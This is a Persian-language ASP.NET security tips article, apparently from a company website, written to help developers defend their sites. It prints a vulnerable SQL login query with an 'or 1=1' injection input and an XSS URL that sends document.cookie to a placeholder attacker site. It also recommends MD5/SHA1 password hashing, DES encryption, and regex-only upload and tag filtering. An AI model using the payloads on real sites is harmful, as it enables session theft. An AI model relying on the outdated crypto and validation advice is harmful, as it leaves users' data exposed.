021-42543 CCTV [at] AGKGROUP.COM

نکات مهم در طراحی وب سایت

نکات مهم در طراحی وب سایت

  • امنیت در Asp.NET

می توان گفت امنیت وب سایت یکی از مهمترین مسائل در طراحی هر نوع نرم افزار به ویژه نرم افزار های تحت وب می باشد، زیرا به دلیل دسترسی عمومی به نرم افزار تحت وب یا یک وب سایت امنیت آن از اهمیت بالایی برخوردار است و یک ارتباط دو طرفه بین یک وب سایت و کاربر آن برقرار می شود بدین ترتیب کاربران قادرند درخواست هایی را به سرور ارسال نموده و پاسخ آن را دریافت کنند و از آنجا که هکرها در کمین نشسته اند ممکن است برخی از این درخواست ها توسط آنها صادر شود که میتواند حیات وب سایت شما را به مخاطره بیاندازد .

در زیر به ذکر مواردی جهت بالابردن امنیت وب سایت می پردازیم :

1-استفاده از سیستم تشخیص هویت دات نت (Dotnet FormsAuthentication) : سیستم امنیت و تشخیص هویتی که در Asp.NET 1 ارائه شد یک سیستم کامل و قدرتمند جهت تشخیص هویت و مدیریت نقش های کاربر می باشد. این سیستم پس از چندین سال آزمایش نشان داده نقطه ضعفی که آن را نفوذ پذیر نماید در آن وجود ندارد ، بنابراین به جای روش هایی که خودتان ابداع می کنید و معمولا قابل نفوذ است از این سیستم قدرتمند استفاده کنید.

2-تنظیم CustomErrors توسعه دهندگان Asp.NET به خوبی با این Tag آشنا هستند ، در هنگام بروز یک خطا برای نمایش متن کامل خطا نیاز است که این مقدار برابر Off ست شود ، البته دقت نمایید که پس از نهایی شدن وب سایت و بارگزاری آن، این مقدار دیگر نباید Off باشد بلکه باید به On یا RemoteOnly تغییر یابد چرا که بازدیدکنندگان نباید متن خطاهای شما را ملاحظه کنند .

1

3-خاصیت Debug تگ Compilation : دقت نمایید که پس از بارگزاری وب سایت این خاصیت را false نمایید ، این موضوع علاوه بر اینکه بر روی Perfomance سایت شما تاثیر می گذارد میتواند با نمایش دادن متن خطا و گاها کد های شما، راه را برای هک شدن وب سایت شما باز نماید .

4-لاگ رویداد ها و مدیریت خطاها : این کار علاوه بر اینکه شما را از اتفاقاتی که در وب سایت رخ داده مطلع می کند می تواند هشداری نیز باشد جهت جلوگیری از نفوذ هکر ها . سعی کنید هر چند وقت یکبار یک نگاهی به لاگ رویداد ها نیز بیاندازید تا اگر موارد مشکوکی دیده شد بتوانید آن را پیگیری نمایید . همچنین اگر کنترل پنل ها دارای سیستم لاگ گیری می باشند حتما هر هفته یک نگاهی به آن بیاندازید ، تمامی موارد مشکوک در آن هشدار داده خواهند شد.

5-اس کیو ال سرور (SQL Server) : اگر از SQL Server استفاده می کنید و قصد بارگزاری دیتابیس را بر روی Host یا یک سرور اختصاصی دارید به چند نکته زیر دقت کنید :

- به User های بانک اطلاعاتی دقت کنید و اطمینان پیدا کنید که Guest User یا کاربر اضافی دیگری داخل آن نباشد ، چرا که کاربران دیگر SQL Server می توانند از این طریق به دیتا دسترسی داشته باشند

- اگر سرور اختصاصی دارید حتما برای کاربر SA یک پسورد مناسب قرار دهید ، همچنین Event Log مربوط به SQL را مطالعه نمایید تا اگر مورد مشکوکی بود IP آن را Block نمایید .

6-جلوگیری از حملات تزریق دستورات اس کیو ال (SQL Injection) :یکی از رایج ترین روش های نفوذ به وب سایت ها و هک کردن آن ها SQL Injection نام دارد ، توسط این روش هکر با وارد کردن جملات SQL در فرم های وب یا QueryString ها Query شما را به نفع خود تغییر خواهد داد .
به عنوان مثال فرض کنید یک سیستم ورود و تشخیص هویت ساخته اید که توسط Query زیر کاربر را تشخیص هویت می کند :

1

string QUery="select * from TblUsers where username='"+TxtUser.Text+"' And Password='"+TxtPass.Text+"'";

اکنون کافیست هکر در باکس TxtUser کلمه Admin را نوشته و در باکس TxtPass جمله زیر را وارد کند :
or 1=1
با این روش هکر به سادگی با اکانت Admin به سایت نفوذ خواهد کرد .
پیشنهاد بنده برای جلوگیری کامل از این حملات استفاده از Stored procedure و پاس دادن مقادیر به صورت پارامتریک است ، برخی از برنامه نویسان برای جلوگیری از این حملات دست به فیلتر کردن جملات وارد شده در فرم ها میزنند که این نیز روش درستی نمی باشد .

7-جلوگیری از حملات XSS : که آن یکی از خطرساز ترین حمله ها به یک وب سایت می باشد ، این روش که مخفف Cross-site Scripting است توسط این روش هکر اسکریپت های سمت کلاینت را به صفحات شما تزریق می نماید و از این طریق اطلاعات مورد نیاز خود را واکشی می کند . این حملات معمولا توسط فرم ها و QueryString ها صورت می گیرد ، به عنوان مثال شما یک صفحه به نام Search.aspx دارید که پارامتر Keyword را دریافت کرده و اطلاعات را از بانک واکشی می کند ، همچنین مقدار Keyword را نیز در Textbox قرار می دهید TxtSearch.Text=Request["Keyword"].ToString

حال فرض کنید که هکر Url را به صورت زیر تغییر دهد :

1

http://www.yoursite.com/Search.aspx?keyword=<script>document.location='htt p://www.Hackersite.com/somescript.aspx?value=' + document.cookie

یا داخل Textbox مقدار زیر را وارد نماید :


در حالت اول تمام اطلاعات کوکی های شما به سایت هکر ارسال شده و در حالت دوم کوکی ها به صورت Alert Box به هکر نمایش داده می شوند.

در حالت پیشفرض دات نت تدابیری برای جلوگیری از این حملات اندیشیده شده است ، خاصیت ValidateRequest تمام اطلاعات تبادل شده را اعتبار سنجی می نماید و از وارد کردن چنین کلماتی جلوگیری می کند ، در برخی موارد (مثلا نیاز به استفاده از ویرایشگر متن (ادیتور) مجبور به غیر فعال کردن این خاصیت می شویم . دقت شود که به هیچ وجه این خاصیت را در تگ Page وبکانفیگ off نفرمایید ، اگر هم نیاز به off کردن آن داشتید آن را در CodePage صفحه غیر فعال کنید و سپس اطلاعاتی که داخل فرم شما وارد می شوند را توسط کلاس HTTPUtility.HTMLEncode انکد نمایید همچنین تا جایی که امکان دارد تمامی فیلدها را اعتبار سنجی کنید .

میتوانید از تابع زیر نیز جهت تبدیل متونی که دارای تگ هستند به PlainText استفاده کنید :

1

2

3

4

5

public static string GetPlainTextFromHtml(string Html)

{

return Regex.Replace(Html, "<[^>]*>", string.Empty);

}

8-کنترل FileUpload : که یکی از خطر ساز ترین کنترل های Asp.NET می باشد دلیل آن هم این است که کاربر می تواند از طریق این کنترل فایل خود را وارد سرور نماید ! اجازه بدهید با ذکر یک مثال موضوع را روشن تر کنیم ، فرض کنید شما یک وب سایت طراحی کرده اید و در آن یک بخش برای عضویت قرار داده اید . کاربران میتوانند در هنگام عضویت عکس خود را بارگزاری نمایند ، شما عکس ها را در پوشه pics ذخیره می کنید و آن را به کاربران نمایش می دهید .ا کنون کار هکر شروع می شود به سادگی به جای اینکه یک عکس آپلود کند یک صفحه aspx ایجاد کرده و آن را آپلود می نماید ، این صفحه aspx میتواند شامل کد هایی باشد که تمامی اطلاعات Web.Config شما را به او نشان دهد و یا او را به سورس فایل های شما برساند که این پایان کار شماست.

برای جلوگیری از این حمله کافیست پسوند فایل های بارگزاری شده را به وسیله یک RegularExpression Validation مشابه زیر بررسی کنید و فقط فایل هایی که عکس هستند را اجازه دهید :

1

2

3

ErrorMessage="فایل های مجاز Jpg , Gif می باشند" ValidationExpression="^.+(.jpg|.JPG|.gif|.GIF)$"

ValidationGroup="Reg">*

9-ویرایشگر ها (HTML Editor) : اگر شما هم یکی از کاربران ویرایشگر ها (مانند FckEditor ، HtmlErea , TinyMce , FreeTextBox و...) هستید به امکاناتی که در اختیار کاربر قرار می دهید دقت کنید ، هیچ گاه به اجازه ویرایش سورس Html را به کاربران ندهید ، هرچند مدیران سایت میتوانند از این امکان استفاده کنند ولی کاربران و بازدیدکنندگان در صورتی که به سورس Html دسترسی داشته باشند قادرخواهند بود کد هایی را وارد کنند که به سایت شما صدمه بزند ، همچنین در مورد امکانات بارگزاری عکس و فایل وغیره بازهم به پسوند ها دقت نمایید.

10-اعتبار سنجی ViewState ها : همانطور که مستحضر هستید حالت ماندگاری کنترل های سمت سرور در هنگام Postback شدن صفحه را ViewState برقرار می نماید ، لازم به ذکر است که یک هکر می تواند با تغییر مقادیر ViewState ها به وب سایت نفوذ کند . دات نت به صورت پیشفرض برای جلوگیری از این موضوع ViewState ها را رمز نگاری کرده و اعتبار سنجی می کند تا از تغییر نکردن آنها مطمئن شود البته شما میتوانید با false کردن خاصیت EnableViewstateMac در تگ Pages در Web.Config یا CodePage صحفحه آن را غیر فعال کنید ، که به هیچ وجه این کار پیشنهاد نمی شود . بسیار پیش آمده که به دلیل دریافت خطاهای نا معلوم برنامه نویسان به اشتباه این خاصیت را false کرده اند ، پیشهاد می شود که آخرین Hotfix های مایکروسافت را بر روی سرور نصب کنید (یا از مدیران Host بخواهید این کار را انجام دهند( تا خطاهایی که به صورت باگ گزارش شده اند برطرف گردند .

11-رمز نگاری اطلاعات (Encryption) : شما میتوانید برای رد بدل کردن اطلاعاتی که مایل هستید از دید کاربر دور بماند آن ها را رمز نگاری کنید . الگوریتم هایی مانند Des و Triple Des برای رمز نگاری مناسب هستند (مثلا برای رمز نگاری شماره کارت اعتباری و رمز آن و...)

12-هش کردن اطلاعات مهم (Hashing) : شما می توانید اطلاعات مهم مانند رمز عبور. را به وسیله الگوریتم هایی مانند MD5 یا SHA1 و... هش نمایید ، دقت کنید که اطلاعات Hash شده قابل بازگشت نیستند.

13-به رمز درآوردن رشته اتصال (Encrypt Connectionstring) : به رمز درآوردن رشته اتصال که در وب کانفیگ قرار گرفته واجب مسائل امنیتی نیست دلیل آن هم این است که فقط کسانی به این فایل دسترسی دارند که به Ftp اکانت دسترسی دارند اما اگر از نفوذ هکرها به Ftp مثلا از روش FileUpload نگران هستید یا بانک اطلاعاتی در سرور دیگری قرار دارد میتوانید این کار را انجام دهید .

14-تصاویر امنیتی (Verification Images) : هدف اصلی استفاده از تصاویر امنیتی جلوگیری از حمله ربات ها است ، این تصاویر در فرم های Login ، فرم های نظرسنجی ، فرم های نظردهی و ... بسیار کاربرد دارند ، یک ربات می تواند به سادگی فرم ها را پر کرده و سمت سرور پست نماید ، همچنین قادر است داخل وب سایت لاگین کرده و به جمع آوری اطلاعات بپردازد یا با کاربران سایت ارتباط برقرار نماید.

Submit to DeliciousSubmit to DiggSubmit to FacebookSubmit to Google PlusSubmit to StumbleuponSubmit to TechnoratiSubmit to TwitterSubmit to LinkedIn
. Cookie policy. I accept cookies from this site. Agree